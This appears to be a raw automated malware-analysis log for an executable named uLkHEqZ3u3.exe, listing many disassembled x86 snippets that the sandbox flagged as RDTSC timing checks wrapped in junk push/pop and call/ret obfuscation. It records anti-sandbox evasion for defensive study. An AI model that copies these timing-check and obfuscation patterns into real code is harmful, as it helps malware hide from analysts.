Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A8BD4 second address: 8A8C01 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB998C5DAE1h 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FB998C5DAC6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A8C01 second address: 8A8C17 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB99871C5C6h 0x00000008 jo 00007FB99871C5C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A8D74 second address: 8A8DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 je 00007FB998C5DAC6h 0x0000000c jg 00007FB998C5DAC6h 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB998C5DAD7h 0x0000001c jnl 00007FB998C5DAC6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A8DA8 second address: 8A8DE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D5h 0x00000007 jmp 00007FB99871C5D1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB99871C5CBh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A939D second address: 8A93A7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB998C5DAC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A93A7 second address: 8A93C0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB99871C5D3h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AC266 second address: 8AC26A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AC26A second address: 8AC274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AC274 second address: 8AC2A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 4B217B33h 0x0000000e mov dword ptr [ebp+122D18BFh], eax 0x00000014 push C9BC9CCCh 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB998C5DAD2h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AC41F second address: 8AC423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AC7C5 second address: 8AC7FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FB998C5DAD7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AD382 second address: 8AD387 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AF242 second address: 8AF249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AFA6A second address: 8AFA70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AFA70 second address: 8AFA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B06A6 second address: 8B071C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FB99871C5CFh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FB99871C5C8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 jmp 00007FB99871C5CCh 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007FB99871C5C8h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 00000015h 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 push 00000000h 0x0000004a jmp 00007FB99871C5CEh 0x0000004f xchg eax, ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B071C second address: 8B0722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B0722 second address: 8B0727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B0727 second address: 8B0750 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FB998C5DACDh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B1C9E second address: 8B1CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B1CA3 second address: 8B1CA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B19C7 second address: 8B19CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B1CA9 second address: 8B1CAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B19CB second address: 8B19CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B252F second address: 8B2533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B60FC second address: 8B6102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B2533 second address: 8B2542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FB998C5DAC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B6102 second address: 8B6106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B6106 second address: 8B610A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B610A second address: 8B6117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B7591 second address: 8B7622 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FB998C5DAC8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D17D0h], ecx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007FB998C5DAC8h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 mov di, cx 0x00000049 push 00000000h 0x0000004b mov dword ptr [ebp+12468111h], edx 0x00000051 xchg eax, esi 0x00000052 jnc 00007FB998C5DADAh 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FB998C5DAD8h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B7622 second address: 8B763C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB99871C5D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B865F second address: 8B8664 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B8664 second address: 8B867F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jnp 00007FB99871C5C6h 0x00000010 ja 00007FB99871C5C6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B867F second address: 8B8683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B8683 second address: 8B8725 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FB99871C5C8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 or edi, 7DEEB56Ah 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007FB99871C5C8h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 movsx ebx, dx 0x0000004a push 00000000h 0x0000004c push 00000000h 0x0000004e push edi 0x0000004f call 00007FB99871C5C8h 0x00000054 pop edi 0x00000055 mov dword ptr [esp+04h], edi 0x00000059 add dword ptr [esp+04h], 0000001Ch 0x00000061 inc edi 0x00000062 push edi 0x00000063 ret 0x00000064 pop edi 0x00000065 ret 0x00000066 xchg eax, esi 0x00000067 pushad 0x00000068 jnl 00007FB99871C5D1h 0x0000006e push eax 0x0000006f push edx 0x00000070 jc 00007FB99871C5C6h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B8725 second address: 8B8748 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007FB998C5DAD7h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B6860 second address: 8B6864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B782B second address: 8B7838 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB998C5DAC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B9818 second address: 8B981E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B8958 second address: 8B895E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8B9ADC second address: 8B9AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BB7DC second address: 8BB862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007FB998C5DACEh 0x0000000c nop 0x0000000d jng 00007FB998C5DACCh 0x00000013 mov dword ptr [ebp+12468111h], edx 0x00000019 mov bx, 9EBDh 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007FB998C5DAC8h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edi 0x0000003e call 00007FB998C5DAC8h 0x00000043 pop edi 0x00000044 mov dword ptr [esp+04h], edi 0x00000048 add dword ptr [esp+04h], 00000018h 0x00000050 inc edi 0x00000051 push edi 0x00000052 ret 0x00000053 pop edi 0x00000054 ret 0x00000055 mov dword ptr [ebp+122D23CFh], ebx 0x0000005b xchg eax, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e push edi 0x0000005f jmp 00007FB998C5DACFh 0x00000064 pop edi 0x00000065 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BB862 second address: 8BB86D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FB99871C5C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BAAC3 second address: 8BAAC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BAAC9 second address: 8BAAD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB99871C5C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BAAD3 second address: 8BAAD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BAAD7 second address: 8BAB41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push dword ptr fs:[00000000h] 0x00000010 xor dword ptr [ebp+122DB528h], esi 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d movzx edi, bx 0x00000020 mov eax, dword ptr [ebp+122D075Dh] 0x00000026 push eax 0x00000027 mov ebx, eax 0x00000029 pop ebx 0x0000002a push FFFFFFFFh 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007FB99871C5C8h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000019h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 push eax 0x00000047 push esi 0x00000048 pushad 0x00000049 jmp 00007FB99871C5D8h 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BC7E4 second address: 8BC812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FB998C5DACCh 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BD7C2 second address: 8BD7C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BD7C8 second address: 8BD837 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB998C5DAC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FB998C5DAC8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 jmp 00007FB998C5DAD2h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007FB998C5DAC8h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c push eax 0x0000004d push ebx 0x0000004e push edi 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BCADC second address: 8BCAE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8BE7EF second address: 8BE7F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C0D72 second address: 8C0D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C0D81 second address: 8C0D97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C1D0C second address: 8C1D5C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FB99871C5C6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 push ecx 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop ecx 0x00000016 popad 0x00000017 nop 0x00000018 cld 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007FB99871C5C8h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 pushad 0x00000036 popad 0x00000037 push 00000000h 0x00000039 xor edi, 53A66774h 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 push ebx 0x00000044 pop ebx 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C1D5C second address: 8C1D61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C2C77 second address: 8C2C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C2C7B second address: 8C2CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FB998C5DAC8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D1911h], ebx 0x0000002a push 00000000h 0x0000002c mov bh, dh 0x0000002e push 00000000h 0x00000030 add dword ptr [ebp+122D1A9Bh], edi 0x00000036 xchg eax, esi 0x00000037 jmp 00007FB998C5DACEh 0x0000003c push eax 0x0000003d pushad 0x0000003e jns 00007FB998C5DAC8h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C2DCA second address: 8C2DDC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB99871C5C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FB99871C5C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C2DDC second address: 8C2DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C2DE0 second address: 8C2DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C7310 second address: 8C732C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C732C second address: 8C7332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C7332 second address: 8C7336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8C7336 second address: 8C73A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D1BC0h], edx 0x0000000f push 00000000h 0x00000011 mov ebx, eax 0x00000013 mov dword ptr [ebp+122D1F8Bh], esi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007FB99871C5C8h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 xchg eax, esi 0x00000036 pushad 0x00000037 jl 00007FB99871C5DAh 0x0000003d jmp 00007FB99871C5D4h 0x00000042 jo 00007FB99871C5CCh 0x00000048 jnp 00007FB99871C5C6h 0x0000004e popad 0x0000004f push eax 0x00000050 jc 00007FB99871C5D4h 0x00000056 push eax 0x00000057 push edx 0x00000058 push ecx 0x00000059 pop ecx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8CD1FB second address: 8CD1FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8CD1FF second address: 8CD20C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8CD20C second address: 8CD210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8CD210 second address: 8CD22A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
